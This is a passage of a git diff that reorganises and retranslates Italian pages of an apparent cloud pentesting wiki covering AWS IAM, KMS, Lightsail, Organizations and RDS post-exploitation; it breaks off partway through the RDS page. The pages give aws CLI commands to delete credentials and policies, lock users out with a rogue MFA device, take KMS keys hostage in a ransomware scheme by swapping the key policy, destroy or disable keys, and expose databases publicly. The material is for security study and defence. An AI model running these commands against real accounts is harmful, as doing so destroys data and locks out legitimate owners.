Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, chiavi SSH, service-specific credentials, instance profiles, certificati o CloudFront public keys, o dissociare ruoli da instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi questi permessi IAM devono essere strettamente limitati e monitorati.
|
||||
### Cancellazione delle credenziali
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates o CloudFront public keys, oppure disassociare ruoli da instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per sistemi che dipendono da quelle credenziali, quindi questi permessi IAM devono essere strettamente limitati e monitorati.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -115,7 +115,7 @@ aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Con una qualunque delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o permissions boundaries e dissociare le policy da utenti, gruppi o ruoli. Questo distrugge le autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i principals che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o confini di autorizzazione, e scollegare policy da utenti, gruppi o ruoli. Questo compromette le autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i soggetti che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +127,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Federated Identity Deletion
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare OIDC/SAML identity providers o rimuovere client ID. Ciò interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso ad utenti e servizi che si basano su SSO fino a quando l'IdP o le configurazioni non vengono ripristinate.
|
||||
### Eliminazione delle identità federate
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare provider di identità OIDC/SAML o rimuovere client IDs. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso agli utenti e ai servizi che si basano su SSO fino al ripristino dell'IdP o delle configurazioni.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -139,7 +139,7 @@ aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Attivazione MFA illegittima
|
||||
Con `iam:EnableMFADevice`, un attore può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta abilitato un MFA non autorizzato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne è sufficiente uno, quindi questo attacco non avrà effetto nel negare l'accesso).
|
||||
Con `iam:EnableMFADevice`, un attaccante può registrare un MFA device sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta che un MFA non autorizzato è abilitato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o ripristinato (nota: se sono registrati più MFA devices, per l'accesso ne basta uno, quindi questo attacco non avrà effetto nel negare l'accesso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Certificate/Key Metadata Tampering
|
||||
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Marcando le chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
|
||||
### Manomissione dei metadati di certificati/chiavi
|
||||
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Segnando chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -163,4 +163,4 @@ aws iam update-server-certificate \
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,182 +0,0 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Crittografia/Decrittografia delle informazioni
|
||||
|
||||
`fileb://` and `file://` sono schemi URI usati nei comandi AWS CLI per specificare il percorso ai file locali:
|
||||
|
||||
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo.
|
||||
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non ha requisiti di codifica speciali.
|
||||
|
||||
> [!TIP]
|
||||
> Nota che se vuoi decrittare dei dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
|
||||
|
||||
- Usando una chiave **simmetrica**
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Utilizzando una chiave **asimmetrica**:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un attaccante con accesso privilegiato a KMS potrebbe modificare la KMS policy delle chiavi e **concedere al proprio account l'accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
|
||||
|
||||
In seguito, gli utenti dell'account legittimo non potranno accedere a nessuna informazione di alcun servizio crittografata con quelle chiavi, creando un ransomware semplice ma efficace sull'account.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **AWS managed keys non sono interessate** da questo attacco, solo **Customer managed keys**.
|
||||
|
||||
> Inoltre, nota la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella console web rende questo attacco possibile solo dalla CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per **restituire l'accesso all'account originale, non ci riuscirai perché l'azione Put Polocy non può essere eseguita da un cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
|
||||
|
||||
- Crea una nuova **key with a key material** importata dall'attaccante
|
||||
- **Re-encrypt older data** della vittima che erano cifrati con la versione precedente, utilizzando quella nuova.
|
||||
- **Delete the KMS key**
|
||||
- Ora solo l'attaccante, che possiede il key material originale, potrebbe essere in grado di decriptare i dati cifrati
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può cancellare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno importato il loro key material), rendendole incapaci di decriptare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Distruggere le chiavi
|
||||
|
||||
Distruggendo le chiavi è possibile eseguire un DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross-account:**
|
||||
|
||||
### Modificare o eliminare Alias
|
||||
Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando malfunzionamenti immediati in qualsiasi servizio che si basi su quegli alias, con conseguente denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e interrompere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può non funzionare fino a quando l'alias non venga ripristinato o rimappato correttamente.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare una cancellazione programmata di una AWS KMS customer master key e successivamente riattivarla. Così facendo la chiave viene recuperata (inizialmente in stato Disabled) e ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key (CMK), impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riabilitata.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derivare Shared Secret
|
||||
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una private key detenuta da KMS insieme a una public key fornita dall'utente per calcolare un ECDH shared secret.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Con il permesso `kms:Sign`, un attore può usare una CMK memorizzata in KMS per firmare crittograficamente i dati senza esporre la chiave privata, producendo firme valide che possono abilitare impersonation o autorizzare azioni malevole.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, disconnettere o eliminare un AWS KMS Custom Key Store (CKS), rendendo inoperabili le sue chiavi master. Ciò interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che si appoggi a quelle chiavi e può causare un DoS immediato. Limitare e monitorare tali permessi è quindi fondamentale.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,182 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non testuali.
|
||||
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplici, script o JSON che non richiedono requisiti di codifica speciali.
|
||||
|
||||
> [!TIP]
|
||||
> Nota che se vuoi decriptare dei dati contenuti in un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
|
||||
|
||||
- Usando una chiave **simmetrica**
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Usando una **asymmetric** key:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un attacker con accesso privilegiato a KMS potrebbe modificare la KMS policy delle keys e **grant his account access over them**, rimuovendo l'accesso concesso all'account legit.
|
||||
|
||||
Di conseguenza, gli utenti dell'account legit non saranno in grado di accedere a nessuna informazione di qualsiasi servizio crittografato con quelle keys, creando un ransomware semplice ma efficace sull'account.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **AWS managed keys aren't affected** da questo attacco, solo **Customer managed keys**.
|
||||
|
||||
> Si noti inoltre la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella web console rende questo attacco possibile solo dalla CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da quell'account esterno provi a impostare una nuova policy per **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generico KMS Ransomware
|
||||
|
||||
Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
|
||||
|
||||
- Crea una nuova **key with a key material** importata dall'attaccante
|
||||
- **Re-encrypt older data** dei dati della vittima cifrati con la versione precedente usando quella nuova.
|
||||
- **Delete the KMS key**
|
||||
- Ora solo l'attaccante, che possiede il originale key material, potrebbe essere in grado di decifrare i dati cifrati
|
||||
|
||||
### Eliminare chiavi tramite kms:DeleteImportedKeyMaterial
|
||||
|
||||
Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può eliminare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno imperted il loro key material), rendendole incapaci di decifrare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Distruggere le chiavi
|
||||
|
||||
Distruggendo le chiavi è possibile eseguire un DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross account:**
|
||||
|
||||
### Modificare o eliminare Alias
|
||||
Questo attacco cancella o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando guasti immediati in qualsiasi servizio che dipenda da quegli alias, provocando un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e compromettere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può fallire fino a quando l'alias non viene ripristinato o rimappato correttamente.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riabilitarla. In questo modo si recupera la chiave (inizialmente nello stato Disabled) e si ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo l'exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disabilitare la chiave
|
||||
Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key, impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derivazione del segreto condiviso
|
||||
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata custodita in KMS insieme a una chiave pubblica fornita dall'utente per calcolare un segreto condiviso ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Con il permesso `kms:Sign`, un attore può utilizzare una CMK memorizzata in KMS per firmare criptograficamente i dati senza esporre la chiave privata, generando firme valide che possono consentire impersonation o autorizzare azioni dannose.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, scollegare o eliminare un AWS KMS Custom Key Store (CKS), rendendo le sue chiavi master inutilizzabili. Questo interrompe le operazioni di crittografia, decrittografia e di firma per qualunque servizio che si affidi a quelle chiavi e può causare un immediato denial-of-service. È quindi fondamentale limitare e monitorare tali permessi.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,30 +0,0 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Per ulteriori informazioni, controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ripristina vecchi snapshot del DB
|
||||
|
||||
Se il DB ha snapshot, potresti essere in grado di **trovare informazioni sensibili attualmente eliminate in vecchi snapshot**. **Ripristina** lo snapshot in un **nuovo database** e controllalo.
|
||||
|
||||
### Ripristina snapshot dell'istanza
|
||||
|
||||
Gli snapshot dell'istanza potrebbero contenere **informazioni sensibili** di istanze già eliminate o informazioni sensibili che sono state eliminate nell'istanza attuale. **Crea nuove istanze dagli snapshot** e controllale.\
|
||||
Oppure **esporta lo snapshot in un AMI in EC2** e segui i passaggi di un'istanza EC2 tipica.
|
||||
|
||||
### Accedi a informazioni sensibili
|
||||
|
||||
Controlla le opzioni di privesc di Lightsail per apprendere diversi modi per accedere a potenziali informazioni sensibili:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,30 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Per maggiori informazioni, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ripristina vecchi snapshot DB
|
||||
|
||||
Se il DB ha degli snapshot, potresti essere in grado di **trovare informazioni sensibili attualmente eliminate in vecchi snapshot**. **Ripristina** lo snapshot in un **nuovo database** e controllalo.
|
||||
|
||||
### Ripristino degli snapshot delle istanze
|
||||
|
||||
Gli snapshot delle istanze potrebbero contenere **informazioni sensibili** di istanze già eliminate o informazioni sensibili eliminate nell'istanza corrente. **Crea nuove istanze dagli snapshot** e controllale.\
|
||||
Oppure **esporta lo snapshot come AMI in EC2** e segui i passaggi tipici per una istanza EC2.
|
||||
|
||||
### Accesso alle informazioni sensibili
|
||||
|
||||
Consulta le opzioni di Lightsail privesc per conoscere i diversi modi di accedere a potenziali informazioni sensibili:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-lightsail-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,17 +0,0 @@
|
||||
# AWS - Organizzazioni Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizzazioni
|
||||
|
||||
Per ulteriori informazioni su AWS Organizations controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lascia l'Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,17 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
|
||||
Per maggiori informazioni su AWS Organizations consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Uscire dall'Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se un attaccante ha permessi sufficienti, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi creando un DB accessibile pubblicamente dallo snapshot.
|
||||
Se l'attaccante ha i permessi sufficienti, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi un DB accessibile pubblicamente dallo snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
